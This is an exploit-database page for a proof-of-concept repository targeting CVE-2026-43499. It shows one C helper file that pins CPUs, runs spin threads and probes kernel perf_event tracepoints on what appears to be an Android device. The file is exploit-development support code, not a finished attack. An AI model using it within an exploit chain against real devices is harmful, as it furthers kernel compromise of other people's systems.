Exploit database

GH-14fb583d3d1bd2da10251bb1a37b93d6

gitchw/ghostlock-cve-2026-43499

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43499

166 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files269
gitchw/ghostlock-cve-2026-43499Revision 96acd93156f6
Next files →

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit/perf_busy.c

C · 1,627 bytes
#define _GNU_SOURCE
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <pthread.h>
#include <sched.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <linux/perf_event.h>
static void pin(int cpu){cpu_set_t s; CPU_ZERO(&s); CPU_SET(cpu,&s); sched_setaffinity(0,sizeof(s),&s);}
static void *spin(void *a){int cpu=(int)(long)a; pin(cpu); volatile long x=0; for(;;) x++; return 0;}
static void tp_open(int id){
    struct perf_event_attr a; memset(&a,0,sizeof(a));
    a.type=PERF_TYPE_TRACEPOINT; a.size=sizeof(a); a.config=id; a.exclude_kernel=0;
    long r=syscall(__NR_perf_event_open,&a,0,-1,-1,0);
    printf("tp%d=%ld errno=%d\n",id,r,r<0?errno:0);
    if(r>=0) close((int)r);
}
int main(int argc,char**argv){
    int mode = argc>1?atoi(argv[1]):3;
    pthread_t t; pthread_attr_t at; pthread_attr_init(&at);
    pthread_attr_setstacksize(&at,1024*1024);
    int lfd=open("/data/local/tmp/hb_busy.log",O_WRONLY|O_CREAT|O_TRUNC|O_SYNC,0644);
    printf("lfd=%d\n",lfd);
    if(mode>=2) mlockall(MCL_CURRENT|MCL_FUTURE);
    if(mode>=1) pin(2);
    if(mode==3){
        for(int i=0;i<4;i++) pthread_create(&t,&at,spin,(void*)(long)i);
        sleep(1);
    }
    struct perf_event_attr a; memset(&a,0,sizeof(a));
    a.type=PERF_TYPE_SOFTWARE; a.size=sizeof(a); a.config=PERF_COUNT_SW_CPU_CLOCK;
    long r=syscall(__NR_perf_event_open,&a,0,-1,-1,0);
    printf("mode=%d sizeof=%zu software=%ld errno=%d\n",mode,sizeof(a),r,r<0?errno:0);
    if(r>=0) close((int)r);
    tp_open(5); tp_open(18); tp_open(53);
    sleep(2);
    return 0;
}